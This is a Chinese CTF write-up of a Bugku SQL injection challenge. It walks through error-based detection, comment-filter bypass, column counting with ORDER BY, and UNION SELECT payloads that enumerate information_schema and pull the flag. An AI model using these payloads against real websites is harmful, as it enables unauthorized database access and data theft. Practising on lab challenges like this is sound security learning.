放暑假的第三天,开启暑假的刷题之路,怎么说呢,学了三个月的安全,还是需要打一下基础,所以就来bugku刷题咯。
拿道题,一看就是sql注入啦。啥都不说直接上payload。
**
基础知识:
**
在做题之前必须要说一下基础知识:
mysql中有一个数据库information里面有三个表,每个表中都有字段。如上图
1' //1'报错说明存在注入啦。
2.
1'--+ //我们加上注释之后,按理来说不应该报错,但是为什么报错了呢?当然是把注释过滤了嗷。于是我们可以用
#或者 -- +(注意嗷中间加了空格),结果返回正常说明我们的猜测是正确的。
3.
1' order by 4# //接下来我们就猜列数喽,为什么先猜4呢?因为表格有三列,但是还有某某的成绩单这一列哦。
1' order by 5# //我们接着猜5列,发现竟然报错了。所以只有四列。
4.
-1' union select 1,2,3,database()#//猜完列之后,直接就是联合查询啦,关于联合查询,
要注意前面的数据一定要不存在,后面的语句才能执行嗷。我们看到爆出了数据库名称。
我们学习一开始的基础知识之后,我们可以发现还有一种方式爆出数据库:
-1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata#
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
//在这里我们要注意table表下的数据库名字的字段是table_schema,schemata表下的数据库名字字段是schema_name.此语句的意思是从information_schema的数据库中的table表(information_schema.table)中选取表。where table_schema=database()的意思是此表下的数据库名字。
6.
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666C3467#
这里的十六进制要注意不要带着引号转换十六进制
7.
-1' union select 1,2,3,skctf_flag from fl4g#
小结:
关于sql注入,小白也只是学习了一点皮毛,但是小白还是觉得sql注入语句不要死记硬背,还是要了解数据库、表之间的关系。(一开始小白还是死记硬背或者,记得不牢固,暑假期间重新温故呀)